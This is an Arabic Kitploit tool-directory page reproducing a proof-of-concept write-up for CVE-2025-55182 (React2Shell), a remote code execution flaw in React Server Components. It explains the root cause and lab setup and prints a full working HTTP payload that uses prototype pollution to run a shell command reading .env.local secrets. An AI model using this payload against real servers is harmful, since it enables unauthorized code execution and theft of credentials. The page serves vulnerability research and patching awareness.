Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
React2ShellPoC — يوفر هذا المستودع إثبات مفهوم لـ CVE-2025-55182 (React2Shell)، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في React Server Components. يوضح كيفية عمل الاستغلال، بما في ذلك الحمولة والتأثير. | Kitploit
أدوات/GitHubGitHub/git0xlai/react2shellpoc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليمتطوير الحمولات
GitHubgit0xlai/react2shellpoc

React2ShellPoC

يوفر هذا المستودع إثبات مفهوم لـ CVE-2025-55182 (React2Shell)، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في React Server Components. يوضح كيفية عمل الاستغلال، بما في ذلك الحمولة والتأثير.

عرض المستودع
منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

فهم CVE-2025-55182 (React2Shell): غوص عميق في تنفيذ التعليمات البرمجية عن بُعد عبر مكونات خادم React

نظرة عامة

CVE-2025-55182، المعروف أيضًا باسم React2Shell، هو ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) تؤثر على مكونات خادم React. تمكن هذه الثغرة المهاجمين غير المصادق عليهم من تنفيذ تعليمات برمجية عشوائية على الخوادم الضعيفة من خلال استغلال مشكلة إلغاء التسلسل غير الآمن في بروتوكول Flight الخاص بـ React.

نظرًا لـ درجة CVSS البالغة 10.0، فإن هذه الثغرة شديدة الخطورة وتتطلب اهتمامًا فوريًا. في هذا المنشور، سأشرح تفاصيل الثغرة وآلية الاستغلال، وسأقدم عرضًا توضيحيًا لإثبات المفهوم (PoC). دعونا نتعمق.

الإصدارات المتأثرة

الإصدارات التالية من مكونات خادم React والحزم ذات الصلة معرضة للخطر:

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • الحزم المتأثرة:

    • react-server-dom-parcel

    • react-server-dom-turbopack

    • react-server-dom-webpack

ما هو React ومكونات خادم React؟

React.js هي واحدة من أشهر مكتبات JavaScript لبناء واجهات المستخدم، خاصة في سياق التطبيقات ذات الصفحة الواحدة (SPAs). تتيح للمطورين إنشاء تجارب مستخدم ديناميكية وتفاعلية.

مكونات خادم React (RSC) هي ميزة تجريبية تسمح بتقديم بعض أجزاء تطبيق React على الخادم بدلاً من العميل. وهذا يقلل من كمية JavaScript المطلوبة على جانب العميل ويحسن الأداء، خاصة في التطبيقات الكبيرة.

ومع ذلك، فإن RSC تقدم تعقيدات جديدة، خاصة في كيفية تبادل البيانات بين الخادم والعميل. CVE-2025-55182 تستغل إحدى هذه المشكلات المتعلقة بـ بروتوكول Flight، المستخدم في RSC لنقل البيانات بين الخادم والعميل.


الثغرة

ملخص الثغرة

تنبع CVE-2025-55182 من إلغاء التسلسل غير الآمن في بروتوكول Flight الخاص بـ React. إلغاء التسلسل هو عملية تحويل البيانات المسلسلة (عادةً JSON) إلى كائن في الذاكرة. يستخدم React هذه العملية للتعامل مع البيانات المتبادلة بين الخادم والعميل أثناء التقديم من جانب الخادم.

ومع ذلك، فإن تنفيذ React لعملية إلغاء التسلسل غير آمن. على وجه التحديد، يستخدم React تدوين الأقواس للوصول إلى خصائص الكائنات (على سبيل المثال، moduleExports[metadata[2]])، مما يسمح للمهاجمين بالتلاعب بـ سلسلة النموذج الأولي للكائنات في JavaScript. يؤدي هذا إلى تلوث النموذج الأولي ويفتح الباب لتعديل خصائص الكائنات بطرق غير متوقعة، مما يسمح للمهاجمين باستغلال منطق إلغاء التسلسل.

السبب الجذري

يكمن جذر الثغرة في كيفية تعامل React مع حمولات بروتوكول Flight. استخدام تدوين الأقواس للوصول إلى الخصائص يسمح للمهاجمين بعبور سلسلة النموذج الأولي، مما يمنحهم الوصول إلى خصائص لا يجب أن تكون قابلة للوصول عادةً – مثل constructor. من خلال التلاعب بهذه الخاصية، يمكن للمهاجمين الوصول إلى منشئ Function العالمي وتنفيذ تعليمات برمجية JavaScript عشوائية على الخادم.

كيف يعمل الاستغلال

يعمل الاستغلال عن طريق إرسال حمولة مصممة خصيصًا إلى الخادم، والتي تتلاعب بمنطق إلغاء التسلسل في بروتوكول Flight. من خلال الجمع بين تلوث النموذج الأولي وإلغاء التسلسل غير الآمن، يمكن للمهاجم التحكم في الخادم وتنفيذ تعليمات برمجية عشوائية.

المكونات الرئيسية للهجوم تشمل:

  1. تلوث النموذج الأولي: يتلاعب المهاجم بسلسلة النموذج الأولي لكائن لحقن خصائص جديدة، بما في ذلك خصائص constructor و Function.

  2. تنفيذ الحمولة: بمجرد وصول المهاجم إلى منشئ Function، يمكنه تنفيذ تعليمات برمجية JavaScript عشوائية، مثل قراءة الملفات أو تنفيذ أوامر النظام.


الاستغلال خطوة بخطوة

إعداد البيئة الضعيفة

لاختبار الاستغلال، ستحتاج إلى بيئة React ضعيفة. إليك طريقة إعدادها:

  1. إنشاء مشروع ضعيف
    أولاً، قم بإنشاء مشروع Next.js جديد بإصدار ضعيف من مكونات خادم React:
  • npx [email protected] poc-react2shell cd poc-react2shell

    بدلاً من ذلك، يمكنك استخدام مستودع GitHub مهيأ مسبقًا يحتوي بالفعل على الإعداد الضعيف.

  • إنشاء ملف بيئة اختبار
    في الدليل الجذر لمشروعك، أنشئ ملف .env.local يحتوي على بيانات حساسة، مثل مفاتيح API. سيهاجم المهاجم هذا الملف في إثبات المفهوم:

  • SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

  • تشغيل خادم التطوير
    قم بتشغيل خادم التطوير:

  1. npm run dev

    يجب أن يعمل الخادم الضعيف الآن على http://localhost:3000.


خطوات الاستغلال

بمجرد أن تصبح بيئتك جاهزة، يمكنك إرسال الحمولة الخبيثة لتشغيل الاستغلال. هنا تأتي فائدة Burp Suite أو أي أداة وكيل HTTP أخرى.

  1. إرسال الحمولة الخبيثة
    افتح Burp Suite وانتقل إلى علامة التبويب Repeater. عيّن عنوان URL الهدف إلى http://localhost:3000/ وأرسل الحمولة الخبيثة التالية:

  2. POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad

  3. تحليل الرد
    بعد إرسال الطلب، إذا نجح الاستغلال، سيرد الخادم بمحتويات ملف .env.local الخاص بك (أو أي بيانات حساسة في متغيرات البيئة). هذا يؤكد وصول المهاجم إلى البيانات السرية. Response


شرح الحمولة الخبيثة

تفصيل الرؤوس

  1. Host: يحدد الخادم الهدف (localhost:3000).

  2. User-Agent: يحدد العميل الذي يقوم بالطلب. السلسلة عادة ما تكون من متصفح، ولكن هنا قد تكون مصممة لإخفاء الهجوم.

  3. Next-Action: جزء من معالجة Next.js على الأرجح، قد يربك الخادم أو يتفاعل مع عملية إلغاء التسلسل.

  4. X-Nextjs-Request-Id: معرف طلب فريد للتتبع وتصحيح الأخطاء في Next.js.

  5. Content-Type: بيانات متعددة الأجزاء (multipart form-data)، تُستخدم للبيانات المنظمة مثل JSON أو تحميل الملفات.

  6. Content-Length: يشير إلى طول جسم الطلب.

حقول متعددة الأجزاء

  • الحقل 0: يحتوي على الحمولة التي تؤدي إلى تلوث النموذج الأولي. يعدل النموذج الأولي للكائن، ويضيف خاصية then جديدة، ويتضمن كائن _response خبيث. يقوم _prefix بتشغيل أمر child_process لقراءة ملف .env.local.

  • الحقل 1: يشير إلى الحقل 0 لنشر الهجوم.

  • الحقل 2: مصفوفة فارغة، لضمان بقاء بنية الحمولة سليمة.


تأثير الثغرة

تُمكّن ثغرة CVE-2025-55182 المهاجمين من:

  1. تنفيذ تعليمات برمجية عشوائية على الخادم.

  2. قراءة الملفات الحساسة، مثل مفاتيح API و ملفات التكوين.

  3. إنشاء صدف عكسية، مما قد يمنح السيطرة الكاملة على الخادم.

  4. تسريب البيانات الحساسة من الخادم.


الخلاصة

CVE-2025-55182 (React2Shell) هي ثغرة حرجة في مكونات خادم React تسمح للمهاجمين غير المصادق عليهم بتنفيذ تعليمات برمجية عشوائية على الخوادم الضعيفة. من خلال استغلال إلغاء التسلسل غير الآمن وتلوث النموذج الأولي، يمكن للمهاجمين الحصول على السيطرة الكاملة على الخادم، وقراءة البيانات الحساسة، وتنفيذ أوامر ضارة.

إذا كنت تستخدم مكونات خادم React، فمن الضروري التحديث إلى أحدث الإصدارات المصححة للتخفيف من هذه الثغرة. الالتزام بـ أفضل ممارسات الأمان، مثل التحقق من صحة المدخلات والتعامل السليم مع إلغاء التسلسل، أمر أساسي لمنع الثغرات المماثلة.

المراجع


  • تفاصيل CVE-2025-55182
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • إثبات المفهوم [kOaDT]
  • react2shellcve202555182

إخلاء مسؤولية

إثبات المفهوم هذا مخصص للأغراض التعليمية والبحثية فقط. لا تحاول استغلال أو اختبار الثغرات على أي نظام دون الحصول على موافقة كتابية صريحة من مالك النظام. قد يكون الاختبار غير المصرح به غير قانوني وغير أخلاقي. التزم دائمًا بالممارسات القانونية والمسؤولة في الأمن السيبراني.

تنزيل الأداة